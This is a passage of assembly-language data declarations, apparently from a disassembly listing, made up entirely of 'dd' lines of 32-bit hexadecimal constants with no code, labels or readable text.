		dd 0DD00A984h, 508CCD54h, 0CB2225h, 0D88AE313h,	0D02CED6h
		dd 27DBBFA0h, 771F1D75h, 5501E07Bh, 586B9226h, 4403F4h
		dd 0C4886A9h, 0E2ECFE69h, 0D67CD100h, 0A7115B5Dh, 4AF300E9h
		dd 0EBCCB592h, 2E00E405h, 0ABDE3FC1h, 730A22CFh, 6F3500A8h
		dd 62CC3B5Fh, 0B27B5792h, 0F399A6C0h, 37728AAh,	0E711326Bh
		dd 0C5B041A1h, 19C0A703h, 63D745F9h, 0AAFE03BBh, 89A134DBh
		dd 0A8C20A98h, 90BFED00h, 7A18393Ah, 0EF2200C3h, 814C514Ah
		dd 0A200A46Eh, 3C45A93h, 330DF68h, 6C877A56h, 0C9D3297Dh
		dd 0EF1B50F8h, 41114500h, 0A381FCB6h, 7D350F3Ch, 6E003A47h
		dd 3FEC334Fh, 5EB948C0h, 0B46921h, 0F8DCADF7h, 9B3912B1h
		dd 79640B0Fh, 0CC4FDEBBh, 598B0035h, 0E41E0E68h, 73CD0055h
		dd 0BEE49567h, 9401D7BFh, 43831D38h, 1FE8C151h,	4F0F8BCh
		dd 0BFAA110h, 60D48763h, 3B70B49Ch, 37FF800h, 626AE86Ch
		dd 72D6A0DAh, 75E25Dh, 0A4261497h, 0AB046D86h, 0EB98A278h
		dd 59ACA003h, 90F6FAF3h, 1D896CA8h, 80924B02h, 0D0272AE7h
		dd 1AB809F9h, 0FCB55E00h, 0BF244F96h, 0F02C0F78h, 6480F3F5h
		dd 2D6FBE26h, 5D943F00h, 0F78296A8h, 6CF40086h,	0D467805h
		dd 58907FB4h, 1DBAB39h,	0D2245052h, 69D0E93Fh, 0DD79ACh
		dd 0FCAFFED0h, 3AED517Eh, 0A116F500h, 8699D437h, 9B7911h
		dd 7F6D1F55h, 8135D88Bh, 980BB800h, 5386EE0h, 0DEF472h
		dd 8980502Ah, 1C457FC9h, 522B8109h, 3C18001Ah, 2E80706h
		dd 0C44685Fh, 18C9EF6Eh, 0FB5260A6h, 53281E60h,	7FFF3CCh
		dd 3B620AD9h, 0CD12008Eh, 100CFA4h, 282FDC32h, 79B04h
		dd 83DDFDFEh, 86823B2Ch, 0D1624900h, 0C27DBEE1h, 747C1DDFh
		dd 60D74B57h, 7EBFA200h, 0D60084FDh, 0FC521CB8h, 87F0A6h
		dd 4F0E5EF6h, 0E029EEADh, 937B48h, 61D9BA43h, 16B7C153h
		dd 52B664h, 0EC3431E9h,	950237AAh, 0CE7EA53Fh, 0AE6AE069h
		dd 821A006Ah, 0DD0957E0h, 582E4553h, 0EB003EC7h, 50080D2Bh
		dd 2695071Ch, 0B161EF72h, 2017A40Ch, 0A2E28F9Ah, 0D364F3FEh
		dd 6980AB02h, 3A6A7151h, 9080A854h, 70FF1F3Bh, 68F63916h
		dd 34E50300h, 0B38A5B8h, 78D80391h, 635F0214h, 0C91D88E0h
		dd 0BE73BB70h, 0A4A34205h, 8A00A759h, 0ECF4B66Dh, 29FE0C1Fh
		dd 0A1881315h, 0A66E4Ch, 0D8741DDh, 0E6B19Ah, 9025492Bh
		dd 19EE6F6Bh, 92885600h, 12F251F9h, 0A641047Bh,	0C0AF399Dh
		dd 0A2CB4843h, 86164500h, 8E4770B7h, 0C760009Ch, 674D51Bh
		dd 3E00A415h, 65E36C93h, 0EAF01E2h, 0DB79D74Dh,	67F198A7h
		dd 53A910EAh, 6A06FB6Fh, 6EA6E973h, 0BF860011h,	0C2C47E58h
		dd 147C4AE5h, 26BD400h,	0EE96C50Bh, 4CEAF5h, 0D207FD9Fh
		dd 6E80B3BCh, 82E2607h,	8D104EF9h, 1CAC0A90h, 7B94B82Ah
		dd 55B0F180h, 2E5C1279h, 27212F05h, 2BC7E1AFh, 67020460h
		dd 0A5C00026h, 5F8E5471h, 0AF00337Fh, 4F15EEDEh, 0E1BD1Ch
		dd 4C2791C1h, 0A6B35B6Fh, 18B99A01h, 75C52CCEh,	3257E4h
		dd 0DDBC49ABh, 0B20B8570h, 42C3E900h, 19AF106Ah, 89A70045h
		dd 0B6E894C1h, 882C997Ah, 0BF011D5Ch, 8003DC15h, 0B4A5E050h
		dd 3DBD00AEh, 0A24806ECh, 0D5004FF3h, 0E3D71CA1h, 0A63947h
		dd 5E41F03Eh, 8C46611Fh, 4B772200h, 0E3F840C6h,	0A9C90E9Ah
		dd 0C52A7563h, 0CD0300ACh, 0A01BA74Ah, 2752A200h, 0D5D32A29h
		dd 84DA0014h, 81E4C291h, 0B300CB59h, 56A37528h,	28153251h
		dd 1E01FD0h, 0DDEC7E9Dh, 0C8860A85h, 0CA71E033h, 92CE661Fh
		dd 95FE1D00h, 70D0B34h,	9D23BE8Eh, 2B00EB9Eh, 0EEC698Ch
		dd 0E4C56300h, 87572566h, 58D10092h, 1767D72Fh,	0E00749DCh
		dd 69193742h, 0DA4D6DF0h, 6E77C0h, 0F65C77FCh, 0BE8B4E57h
		dd 0BC00FAE8h, 0B2BF852Bh, 0D9285Fh, 0FE0B2166h, 403360A1h
		dd 800FA33Ch, 0BDD72AC4h, 98AD4C6h, 0DE0463E8h,	0B5F02280h
		dd 0ED0089D8h, 0DB4FF2DFh, 76B9FAh, 8AFCE26Bh, 0C6BC1ECAh
		dd 0C0F9DE00h, 2397303Fh, 85500ACh, 3DF8547Bh, 81000B15h
		dd 0FB4CED9Fh, 7EF9E2h,	38EBC450h, 8649931Fh, 0D5C1E414h
		dd 0CDCA00CEh, 0FADD2079h, 0CF8B005Bh, 6DE85E06h, 0C1043C73h
		dd 0AC59F28Fh, 819BB480h, 9C100015h, 0B6BDAF69h, 284C1C4Ah
		dd 0C8FE0F13h, 0FB6DA077h, 135673F4h, 40F24Bh, 0A6683F42h
		dd 661F24E4h, 3E006E7Ah, 6A115906h, 12E800B7h, 4EC898A5h
		dd 0AD000155h, 76AFC4E6h, 199B629h, 45A45DC9h, 7097B74Bh
		dd 53E6FA0Ch, 67EA1571h, 13BBA302h, 60568B7Ch, 98AE6D27h
		dd 18A0EC08h, 0D8F9DBB6h, 302CE6BEh, 59002148h,	25D626B5h
		dd 3402483Fh, 4B0F2E39h, 0C6A01234h, 8247F196h,	1C905BB0h
		dd 7BF2A00h, 0E93967CCh, 3830023h, 0E5E40E87h, 1B00659Bh
		dd 1E45924Ch, 2E3686F3h, 0FD1390h, 0AC2630D4h, 5450097Eh
		dd 0CB00789Ah, 1CA02403h, 0C0BA0E23h, 10C72658h, 0A8FA4162h
		dd 0F93CFD00h, 0E81C77C3h, 8CF30F86h, 0C1E0CAD5h, 0C290745Ch
		dd 329E4D00h, 103CA235h, 4BD900E4h, 0EE296CCBh,	0BD004178h
		dd 0CCFC1F0Fh, 0F69B855h, 0B3F7AB01h, 30F1D0E0h, 0DC0996D8h
		dd 523276h, 823365F8h, 411F3003h, 2F6E4D10h, 72782500h
		dd 6293FCFBh, 3C28031Dh, 0AE9BB832h, 79F9A1F0h,	84A8A90Fh
		dd 762B0011h, 0E0ABB7F6h, 7B561FA4h, 0CD74C030h, 7105CAC2h
		dd 0BCBCB12Ah, 73F8B20h, 77AE6E22h, 0AA5C500Ah,	480E9536h
		dd 0A0B6180Bh, 8041F2CFh, 167D07AEh, 303601D5h,	0E41F28C2h
		dd 84FB38h, 0E240D9FCh,	1031086Fh, 899C187h, 28F25F12h
		dd 65B60726h, 80511379h, 0F8C37D63h, 0DD853Ah, 0CE4BBF04h
		dd 4945F5h, 0A7470BD8h,	381182F7h, 815FC438h, 2BF63630h
		dd 0BC30D94Fh, 16C0070Eh, 0E077206Fh, 62B790D5h, 3E0DA401h
		dd 9C578A7Fh, 25A320h, 206C6554h, 629BE60Ah, 3340A600h
		dd 0C3F41EB5h, 5EEA0724h, 0AE268998h, 0F5DF1660h, 8C2E30A5h
		dd 4900D073h, 35286204h, 81290057h, 8E1EA97Ah, 0A40351AAh
		dd 0F3756E40h, 77D0F83Eh, 0E15D39B9h, 0D12CEE82h, 0F440844Dh
		dd 0EC071211h, 1B75C869h, 0E016C6h, 0D3090293h,	0BD485FB4h
		dd 0B5EC8300h, 0E7171898h, 0D390784h, 50B36528h, 4523C67Fh
		dd 0C2351202h, 404A2C64h, 1FA00Ch, 0EAE50CE9h, 8EEC0B03h
		dd 0E4171A00h, 0F4A16775h, 6B60EF7h, 0C608CBBh,	2E199FEEh
		dd 804B8338h, 0A308D203h
		dd 4CCE36Fh, 25388C01h,	0F28C8009h, 0E60064BDh,	0A6D58A1Ah
		dd 0D28E36h, 89C7ED97h,	41C57811h, 68CD2B12h, 41178808h
		dd 40AB9801h, 0CFCAC0C4h, 8D27A24h, 0C3444802h,	26506091h
		dd 215907E0h, 0F0FDC242h, 256763A7h, 0CD016100h, 37EEE910h
		dd 3176603Ah, 63F93516h, 30903Eh, 0D72BC57Ch, 92D3F0h
		dd 49EF01AAh, 56E46938h, 0E51BBE02h, 0C086E324h, 0D88460h
		dd 734D2B9Bh, 51EE8753h, 5FE2B400h, 151314AFh, 0B0650169h
		dd 8DAAB390h, 7AEEE8EBh, 0CDCB5817h, 1D281400h,	5F42744h
		dd 497BE5F6h, 0D4C0C098h, 63039D70h, 4D967D37h,	29BEF03Bh
		dd 0EBBC3C07h, 85982580h, 35AFEAA7h, 69B63F03h,	0A9D39A12h
		dd 0DEDF914h, 2AE01020h, 1D876ECh, 237CEBEEh, 305D334Eh
		dd 0C5853A6h, 0D46F244Eh, 0A0C26B0Eh, 14E0E111h, 0B85C73A1h
		dd 3C0E002Ch, 46FAE795h, 9204C048h, 0AA4315A6h,	0A480D4C5h
		dd 0A1EE7EB1h, 0CCF06490h, 0BC6858D2h, 2D80143Fh, 88341BFBh
		dd 0A1133ED6h, 9B01BDE3h, 0BB25A346h, 21EC79C1h, 381F1EFFh
		dd 0AD8B4063h, 0C8E5F31Ah, 14597A05h, 18879377h, 905A3B87h
		dd 74B56402h, 0D8DF391Ch, 0D007A8Ah, 0A05924D8h, 14B79Dh
		dd 8C60FA6Ah, 0DD7540C5h, 2405F490h, 64ED9C32h,	96F078C0h
		dd 0DB66240Bh, 0C05B1F78h, 5C26027Eh, 0FD3FB4F5h, 599381C9h
		dd 312ADE1Fh, 15D54C35h, 720C7460h, 53F80021h, 47D4A071h
		dd 782EED29h, 15164C7Bh, 43553C00h, 0F753FFh, 183AA0A8h
		dd 59072E81h, 7B02D607h, 66F04922h, 0FCE083EEh,	76517C45h
		dd 0F7B0F9h, 0FE5E01B4h, 0EAF77823h, 0F0997428h, 5A659109h
		dd 438000Eh, 0B9ABBDh, 24B7457Fh, 6907A72Bh, 7126E600h
		dd 0B0AF6DCDh, 8C2100B3h, 42DEA37Fh, 0BC70A7A0h, 3FE1EC00h
		dd 8E252CC0h, 30281E58h, 4B1B029Ah, 0E861C6C3h,	4823B7h
		dd 3FC9456Ch, 1F52CA3Ch, 40B055F0h, 1B270EC0h, 0A09894B3h
		dd 9C56480Ah, 10009293h, 0BFC27234h, 0E1CA03DFh, 8F1DF06Bh
		dd 0B3AC2806h, 62B91Ch,	39E23765h, 647FA2E4h, 649601EEh
		dd 3202F800h, 75C49F07h, 79CB002Ch, 6337AE2Bh, 0BC1E9AA7h
		dd 2ECFEFD1h, 9088CAB6h, 0C09F6100h, 1BFB37BEh,	42A621ACh
		dd 68DD9098h, 0F7EF4600h, 5BD128Dh, 0B3690023h,	5D884D72h
		dd 1CB9350Dh, 0C9A3B00Ah, 0A1425202h, 1090604Ch, 0EB3925AFh
		dd 84F7A080h, 0EC00139Fh, 0ED4DC4C6h, 50B3E327h, 39BEAB6Dh
		dd 0A60107A1h, 1CB652Dh, 0DC56C4BCh, 71946900h,	1F46023Ch
		dd 9C5E481Dh, 0FD582630h, 700081AFh, 0A2DFF893h, 0EE87FEBAh
		dd 1C6CB0B1h, 0DDF5D2C7h, 9808C184h, 60069BF1h,	1700B728h
		dd 7FB27D16h, 0A034BC3Dh, 6BD54EECh, 48835887h,	17E3E62Ah
		dd 0C5B73DA8h, 0BF89A305h, 0D890F570h, 7F38A213h, 0CFD80432h
		dd 0C0DF9E1Bh, 9A0EC2B2h, 1400F84Bh, 0D0154231h, 59BD039Ch
		dd 0D881B688h, 7F07A0E8h, 6F52E90Fh, 0CBC4426h,	0EC63DCC0h
		dd 2C3D00FDh, 35E7E65Fh, 0B40F9E4Eh, 803F99DEh,	0EA28D4A9h
		dd 30D500ACh, 0FCE56DEBh, 0F006A59h, 9D1CC59Ah,	0C3A7C4h
		dd 3C4E6071h, 8ABAB89Eh, 0FB0016FCh, 0E09883CCh, 247411B9h
		dd 97046FADh, 0E4256Dh,	0FEB285C0h, 5C0057D2h, 3DFAB493h
		dd 1749F9h, 6E6D41C9h, 0DD093EAFh, 38D96900h, 1DD03796h
		dd 0CD9F0FA4h, 0F5E4A6C1h, 2C04834Fh, 360C3B91h, 9E8D001Ch
		dd 666E2A54h, 0A59148E2h, 463EEB00h, 83C7806Bh,	0FF7A2500h
		dd 0C1756C1Eh, 0BBD00453h, 0C00621A7h, 0C2A3A6E0h, 1037380h
		dd 7A60409Ch, 20712F9Fh, 0D524AA98h, 9801C93h, 0C4FBED9Bh
		dd 5DCC0701h, 70327030h, 0D3936D69h, 7A095674h,	60546BDEh
		dd 261FBDF8h, 3B000E5Dh, 4D171E00h, 11AB0B06h, 805C5E38h
		dd 29A721B6h, 0F4493394h, 0E60C0052h, 0A07A0EFCh, 240042DDh
		dd 3590319Ch, 0E45227E5h, 8B8A004Ah, 2758FA8h, 830743D7h
		dd 3B46EECCh, 26502376h, 0D30D2Bh, 0F1AE94BBh, 1701B110h
		dd 28382F69h, 0C882687Bh, 9367D6FDh, 0D5FA7068h, 0E200D496h
		dd 84CA99CEh, 60B313DEh, 3D76001Eh, 0F99E7E9Bh,	0FF7C3800h
		dd 32D84BD0h, 51E30003h, 0FD66BDD1h, 0F0CE0C64h, 0B8F401FCh
		dd 0A430778Dh, 0DD5720C8h, 200A2925h, 0D0F4CAE4h, 851B0099h
		dd 0C62255A2h, 8C00D99Bh, 0F241CF32h, 0F49C62h,	0A5D5184Fh
		dd 5BD3312Bh, 0F05D7000h, 0DC208560h, 0CBFA2E25h, 108049CCh
		dd 0D0CC6728h, 0C7195302h, 416A7F1Fh, 0D7C8C8F8h, 0D1020007h
		dd 7DDCAE32h, 93758EB1h, 992FAF00h, 24558CB5h, 0F6B0EA0Fh
		dd 0D74C003Fh, 0B27AA881h, 8600749Dh, 0D2E08A9Fh, 58DD6C41h
		dd 400294BAh, 3521FBEEh, 0E59FC0C8h, 5884BF24h,	8A40931Dh
		dd 0FEE751Ch, 4F980E59h, 0C01DE139h, 0C5772190h, 0B4022D34h
		dd 2A9D0E48h, 0E4C8E00Dh, 40DA60B0h, 0A6731369h, 2D505F00h
		dd 4DFCA266h, 54EF02CDh, 0A99DD078h, 9BB0F963h,	2D0FE627h
		dd 6E7265BBh, 15F035B5h, 12BC10E2h, 7040C9E7h, 97E3B8ECh
		dd 0FE247531h, 8F840251h, 3B26953Dh, 3208840h, 0E7811CA0h
		dd 21C05BE0h, 0E2C8156Ch, 9AEE46h, 5965D42Ah, 3CF1C6F4h
		dd 87A8CAA0h, 3801E373h, 0C13DDB88h, 0F53035A7h, 7C78F0h
		dd 6BD8A65Ah, 0D9C9239Bh, 0CFEDF600h, 6E7E67ABh, 0CB2600F2h
		dd 0F08A4F39h, 2BE651D1h, 0DB733D1Ch, 53140783h, 0A73BF060h
		dd 1B0F007Dh, 0CB982B02h, 0E5EC78D7h, 147AE698h, 0B759BF00h
		dd 290E1A1Ch, 572200A0h, 0F182930Fh, 321D26ABh,	17C1C166h
		dd 805BECCBh, 3A48F8h, 0EBC3BC6Eh, 0C797665Dh, 82F9DE02h
		dd 40226123h, 2444D1Ch,	0E90C65D0h, 24C0C050h, 0B2EE8EADh
		dd 921AF713h, 0DF4C0800h, 0B07D5Ah, 8EBAC554h, 3387E2Bh
		dd 71EE0573h, 13008896h, 49982C07h, 334E1C62h, 0F82C0D6h
		dd 6FDB2ED0h, 103F5CECh, 11440329h, 88D4D63Eh, 0BAECA8h
		dd 954876DDh, 84A3E086h, 44062F0Fh, 0BF807D50h,	534DB6D1h
		dd 856D09C2h, 66002267h, 867BF663h, 5800CF98h, 6520E075h
		dd 1411D9Eh, 0FFBF18F4h, 3099914Dh, 21FE5DCh, 0B785CAEDh
		dd 5080C485h, 1E07DD06h, 7452CD9h, 0E010500Fh, 1F0D31C9h
		dd 28208C4Bh, 1AA53Ch, 0D351A07Fh, 4AC043C3h, 0ACE6CD02h
		dd 0C1449567h, 57D418ACh, 0B0AE0016h, 0EA29C37Ch, 5B07CD89h
		dd 0E99C523Ch, 79383F90h, 207E6E84h, 0EB0033CEh, 6A861B82h
		dd 6C882E00h, 89F86457h, 8FCA00F9h, 85A9AA87h, 0B4906B3Fh
		dd 5C6EE200h, 0E890E908h, 1EB712CCh, 21B80069h,	0A8298F4h
		dd 171EE494h, 78EE5EC7h, 74B92630h, 0C8325988h,	0F6C2280Fh
		dd 0E8727340h, 19C03C4Ah, 9B186DE1h, 89C62h, 0E97335B7h
		dd 3B908BA3h, 446CC200h, 0A3DEB7Fh, 0F19A00D8h,	583C3177h
		dd 900026E3h, 0A1CA5ABFh, 947B8EEh, 5C9217A4h, 581908A2h
		dd 6600E4D0h, 1F5E3D9Dh, 3C9A10AFh, 405CF00Dh, 93EF4207h
		dd 0B0BC5051h, 4516F8CAh, 0C1D6F7Dh, 9EDB8080h,	9850F5C5h
		dd 762A02D4h, 6AF28CE1h, 0DF0BA40Fh, 0AE505408h, 330BCE3h
		dd 0B89D6104h, 1FBF0CB0h, 6E5078FCh, 2D0AC280h,	0C02ED923h
		dd 8A52BC00h, 931D5B0h,	1F5CED05h, 0AFABD881h, 0DEF6D49Eh
		dd 0B0C09D07h, 6F90E615h, 9C9CF7EFh, 0A2700070h, 0B4F07571h
		dd 0E200CC7Bh, 25AD0C2h, 60A04D99h, 9BEDD01Fh, 500F89E0h
		dd 8098885Bh, 58DBC818h, 0D0C408B5h, 0C2006E8Bh, 0A45B80FEh
		dd 0B88403E7h, 0D2494805h
		dd 33E8EDE8h, 158ABC00h, 2A0A57DDh, 133E0073h, 0FAD61E89h
		dd 0EE00F72Eh, 0B16390D7h, 3D8450B2h, 0C200E3C1h, 3CF630D4h
		dd 6BE40A23h, 0D836EF2Ch, 9CFB2200h, 4F5C4132h,	4F741D72h
		dd 44521114h, 810EC700h, 34F1E634h, 0BA02C628h,	5C170A81h
		dd 2D480D7h, 27E9C6Fh, 9BB19F2Dh, 0DC80A26Ah, 92F57FF6h
		dd 1CA3DD44h, 8FEC40D1h, 43ABCD82h, 842A6CA4h, 0EC8BFCh
		dd 0BA3672B9h, 0F22F74E6h, 4C200F0h, 0DD938497h, 3F03A8CBh
		dd 5FAC1377h, 0A09184BAh, 0D2CDC823h, 0C0811FF0h, 0C44D6E98h
		dd 0A94DEB95h, 831A0E1Ch, 20E4A0B9h, 0E93159Fh,	2FC8ED28h
		dd 6404E2C0h, 0AA005183h, 40CF86B7h, 0CC2BA0h, 0D5081262h
		dd 0DDF7199Ah, 64FA2307h, 833987C4h, 0C04B3CACh, 0CD7B927h
		dd 0C887A3Eh, 70095E0h,	3F5B0B7Fh, 38B51D5Fh, 973CBC5h
		dd 33B2259Fh, 1AA948E3h, 54FC48ECh, 0B0DCCF00h,	0D6F97FEEh
		dd 0E87AA2h, 0A883F7Ah,	34FB6D8Dh, 68D8B361h, 7CECEAF8h
		dd 0E1B801A4h, 0CD87065Eh, 0E79024A2h, 0F8D86500h, 31CA11FDh
		dd 0A84B4CBEh, 0F225B907h, 0D6EEF0D1h, 0CB00331Eh, 0A26811C1h
		dd 1A3E41h, 0BB2E8FD5h,	0C08D903Dh, 0A5D96B00h,	0A2FA83DBh
		dd 0F85C009Ah, 3B70A91Ah, 0D1F0518Bh, 66EC217Fh, 6FFF8D13h
		dd 39E80010h, 4772811Ch, 197D3D4Ch, 65F4AEF1h, 1E267A71h
		dd 0C048D3DBh, 84981249h, 0F6003875h, 7A612C66h, 2641DAh
		dd 3951FB47h, 40AF121Dh, 55E87500h, 27A2E4BBh, 209648EAh
		dd 0A34FFE00h, 0D34E6654h, 0C53B0F00h, 5A7FD098h, 0B53E0006h
		dd 99259CD8h, 80093C8h,	94EE2B47h, 0E8BD5B20h, 4CF200E2h
		dd 0FC797ED9h, 0D500D308h, 0B8275A1Eh, 629EF1h,	0EAD0C1Dh
		dd 0B08DD6A5h, 770B5105h, 5E80FB93h, 0C8123Ah, 5E7A3B55h
		dd 0CEC6C984h, 29003372h, 0E6AAB647h, 0A0FFFB30h, 0E865AA2h
		dd 0FE9F5360h, 8A80C96Bh, 0ADD68242h, 8000EC96h, 5405C02Dh
		dd 1CD5034Bh, 0EC7CA81Bh, 190A8BD0h, 0FD448F1Dh, 69119D40h
		dd 0C6F708h, 0D1AEEC67h, 53091D9h, 0BE0593Bh, 8FF4761Ch
		dd 0C7A02745h, 0DFBFDAE0h, 18B1000Ah, 3370A3B0h, 300ED64Dh
		dd 732352h, 5D0506AEh, 3C80E5C0h, 0E4F74ED0h, 8F3EF3A8h
		dd 61630068h, 0CB235102h, 66AC2E15h, 0D0C600BFh, 0A82AB096h
		dd 586D7500h, 95ABFFF5h, 0D8E930DCh, 74CF4FBAh,	45E7CE00h
		dd 558B2032h, 9140FCAh,	0DE4012D8h, 642E4EE5h, 93C94000h
		dd 9F78ACD7h, 180200BFh, 44A4EF25h, 0DF00656Ch,	0B53FC82Ch
		dd 2FE499h, 9695DC47h, 4113DE8Ch, 0C99F871Dh, 0A0FE6580h
		dd 83A3ACh, 0A6E0996Dh,	27DACA1Bh, 0AE7B6000h, 6B79A257h
		dd 13C89AE6h, 37C9FAD3h, 0DA53B00Ch, 2D00E55Fh,	8954B833h
		dd 2302A9Ch, 97C74874h,	0ACC0601Fh, 49CD90Ah, 8085B580h
		dd 0E739CD3h, 4ACA3D68h, 818C89E1h, 0F69C647Bh,	0AF6CCD07h
		dd 20C37EF7h, 0E819007Ah, 136B0F76h, 650E74BCh,	813DBDCBh
		dd 0DC4D0E4Ch, 5F7474h,	43086B1Bh, 0DBDAA41Ah, 0C30036ECh
		dd 72386A40h, 38215h, 88EF4D83h, 0D839AB60h, 8C00AB90h
		dd 9D50A36Ah, 760D16h, 92EC80E8h, 0CE41B5C8h, 55CC8A00h
		dd 2F461727h, 6995188Ch, 6CBDB0C5h, 0BC7A5D13h,	4A917441h
		dd 21BCCCEDh, 1DC37803h, 0E3E060F7h, 5DF2BC65h,	176BBA22h
		dd 0F407CD6h, 289CCA71h, 0EADE000Ch, 516DEBDBh,	0C70F55F8h
		dd 20C3D103h, 5A0C5DF2h, 0DC01175Fh, 742D0F7Dh,	0A1E34E40h
		dd 0E00E1D8h, 630BE427h, 49456Ah, 8158CA47h, 0A2FE2090h
		dd 79512E07h, 7465DEBFh, 4C2C0FBBh, 24FA9C00h, 200AB5Ah
		dd 0D2361C9Eh, 98DCE5E2h, 0F2AF75A2h, 0E98300F1h, 539FDA67h
		dd 0B1007F1Fh, 4810A2D3h, 5489C321h, 0E784B2h, 5CB3F5BAh
		dd 0FC73CA41h, 0A718400h, 0A6B18568h, 29DF87h, 0EF435701h
		dd 17004402h, 86AD5E54h, 1C1DD9Eh, 0A2783062h, 24E11F47h
		dd 0F5B03848h, 7401A579h, 0B5D9C377h, 0B0403E12h, 0C0E8A8B7h
		dd 0E929C629h, 850084DEh, 0AA313748h, 0F62E08h,	6B077EDh
		dd 0E21CFF42h, 3A7E31C7h, 751B34C0h, 81A03E8Fh,	7FC91407h
		dd 0F60981E8h, 2101CDCCh, 0D484E0BBh, 11ABAD00h, 606DF7C0h
		dd 8B7E035Dh, 0B196FBB4h, 0AE071BC0h, 7A068C00h, 0CCD3440Ah
		dd 641A00C7h, 0D645F442h, 0F09E3A8h, 0C8DCD4E4h, 7204300h
		dd 9218F617h, 18F0B656h, 3EE13Eh, 0D65F1042h, 0E70DC4Ch
		dd 1FF639E3h, 0EAB06620h, 0FD398F17h, 0D9551889h, 0E69DC458h
		dd 0AAE70078h, 0CF9046FAh, 0ACFAF829h, 0B24C8C00h, 249306DAh
		dd 437AA0h, 368CD58h, 0D54095BEh, 809D4D38h, 91088362h
		dd 76FCA375h, 3F6CFA74h, 9487BAE5h, 8095307Ah, 55FAC345h
		dd 0E3F95B07h, 403C0AC0h, 51620152h, 2105727Bh,	0DB7AD89Eh
		dd 0CA0013ECh, 714B0E3Bh, 354A060h, 35D1DF78h, 9380FB61h
		dd 9E07B819h, 0AF49123Fh, 0FE2BE3B0h, 80DE8Eh, 7B38C436h
		dd 0FD007A80h, 6E8850Ch, 2E6B627Dh, 766DA46h, 0D74A9549h
		dd 0DC8E3067h, 98003D73h, 35DABCA4h, 0E0658BC6h, 93A20319h
		dd 0D42C1C7Fh, 44918E0h, 0D7A8962Ch, 0FC3AB107h, 8477294Ch
		dd 2211DA22h, 38223F9Ch, 0B34B2270h, 4088E374h,	71D3883Ch
		dd 6C084F89h, 40343CA1h, 1FBF2314h, 33084381h, 22A01E20h
		dd 0DC3139D8h, 6127510Dh, 881F5511h, 88340C29h,	7B98D98Eh
		dd 1F04C9h, 429BA187h, 66B978E7h, 0F6641300h, 143BA903h
		dd 34890011h, 0E8AEB3A3h, 4A00A6B9h, 7E38FF7Ah,	1F02C50h
		dd 0F328215Dh, 0FD886501h, 14A8DC79h, 49813B00h, 237D751Ch
		dd 45CB0F62h, 22E72427h, 4D16B078h, 0B0002005h,	6FA3BAECh
		dd 0E6B7ED57h, 45900022h, 7607BA5h, 0A400E24Eh,	51F3F598h
		dd 0E2C8D506h, 0BA5800B8h, 36A9D27h, 4B00219Ah,	358F1892h
		dd 674268h, 0B2FA565h, 0BA965CB4h, 282A5F00h, 3E9E9C82h
		dd 8EC41EB3h, 0D2F0C0BEh, 9FEAE708h, 1514C700h,	9707A1Ah
		dd 0FA7F3A98h, 0B1BA900h, 21F6831Dh, 7D02881Fh,	2A995441h
		dd 8FE8CA8Ah, 0E57B79F8h, 7DD262D4h, 9CB1383Ch,	0CE1D5680h
		dd 26FA44ECh, 8300F872h, 0E486C74Ah, 7BD9545h, 137440E0h
		dd 4C00D9C2h, 0A94BA37Dh, 6892880Ah, 6D80BC8Dh,	0C2DCC47Fh
		dd 0B04A0185h, 0DA8F2BBh, 7AC0FC8Eh, 53CC8800h,	2DEA6C19h
		dd 5B7E03AEh, 9F4654A6h, 0D532BBC8h, 11C11A00h,	186627FAh
		dd 0FD8B0E31h, 8E20296Dh, 0FBC0E75Dh, 0CC9D9700h, 0B1EF2B36h
		dd 1FC6006Ch, 78704158h, 1200D17Dh, 22633AF5h, 402951h
		dd 0EC6C244Eh, 6D722F66h, 4D71BE01h, 0C9BBBCD5h, 17D335D0h
		dd 0FDCEF49h, 0DBE24845h, 26091C8h, 0EA000229h,	0D32C767Ch
		dd 0F6F114h, 0B3FD5C96h, 0DA886860h, 0B44CB2E8h, 0AAF90040h
		dd 0FE861EFh, 2737032Fh, 4EBAFA7Dh, 0FC9C18F9h,	6D05F3B5h
		dd 2F7A4673h, 0B6DAB500h, 0DDE663h, 88843BFEh, 44E7257Bh
		dd 0BC8BC300h, 0E22DE373h, 6EA20B5Dh, 7D80F011h, 0C799ACD4h
		dd 0A009BE8h, 10D5FA28h, 2A1C0Fh, 731D378Fh, 82F1AE7Ah
		dd 8002C41Fh, 0F5B8F700h, 2E2946D9h, 0DF3A5Ah, 0DE705594h
		dd 0B4489C23h, 73158014h, 0A072CE8Ch, 1B8D4A8h,	5409E1EBh
		dd 4056713Dh, 217A1890h, 20A824B8h, 5E13E763h, 9B01028Fh
		dd 12847C6Eh, 2217E080h, 9FA15C07h, 6A1FA92Eh, 3AEBCD00h
		dd 4870A8FEh, 8000102Ah, 0A9A784Bh, 0AC505A12h,	0C27210A8h
		dd 0BEE4D4A0h, 8DFA2400h
		dd 8CAB7A4Fh, 7219019Ch, 2AA0A66Fh, 25A9FC7Fh, 0DF4FC602h
		dd 0E04B0C48h, 1D9DEA38h, 0C0E779C0h, 78DD7B15h, 0C307CCB6h
		dd 16475768h, 9B4AB0C1h, 0E3BDE0D3h, 98FE033Ch,	0A8FC228h
		dd 0FF9AD4F0h, 20333E00h, 0E9151D91h, 88A601E5h, 4B23DD6Ah
		dd 0E472DCFAh, 0E78F6D03h, 2BB718h, 0B087C2F8h,	0B3EF076Fh
		dd 0D076FB00h, 0AF4F3652h, 397B3Ah, 7F810BD1h, 75E63532h
		dd 1D74E13h, 2DA14C01h,	29EC1533h, 0BD04021Eh, 198DE8FDh
		dd 6D52EC81h, 70BB0135h, 0A46100F3h, 9B119E8Eh,	0E201FE86h
		dd 0ECB89EEh, 88C0325Dh, 58D70033h, 0B83FA004h,	4C0098C2h
		dd 0E8FCB139h, 9FB27Ch,	283D7F03h, 920A3827h, 0A1695100h
		dd 0EEE4551Eh, 209016Bh, 0C932441Dh, 99CFDC2Ch,	6F4C3600h
		dd 0C8BAB6Ch, 0CDED00D5h, 4E0BC004h, 9C079D0Dh,	0F2B98F8Ah
		dd 25204Ch, 2E1D12A6h, 6E114AA7h, 0E300D0F0h, 0BBF73DBh
		dd 8CE9D4h, 9EBAC19Ah, 0CE83CAEFh, 39014600h, 0EBD1563h
		dd 0A5410F6Ah, 0E40072AEh, 17366FD1h, 67883300h, 0BD352AAFh
		dd 0D06C026Bh, 2C29DB25h, 5080C88Fh, 7C9299D3h,	7DE2B007h
		dd 55018B58h, 6A706B38h, 28A5091Eh, 50A03BFBh, 9DA86396h
		dd 35118407h, 10115E80h, 7C4CBC4h, 1BFA282Dh, 49A0EC8h
		dd 0EBA06EFCh, 35F84F33h, 9738F971h, 0CFE30CAh,	3CFA5Bh
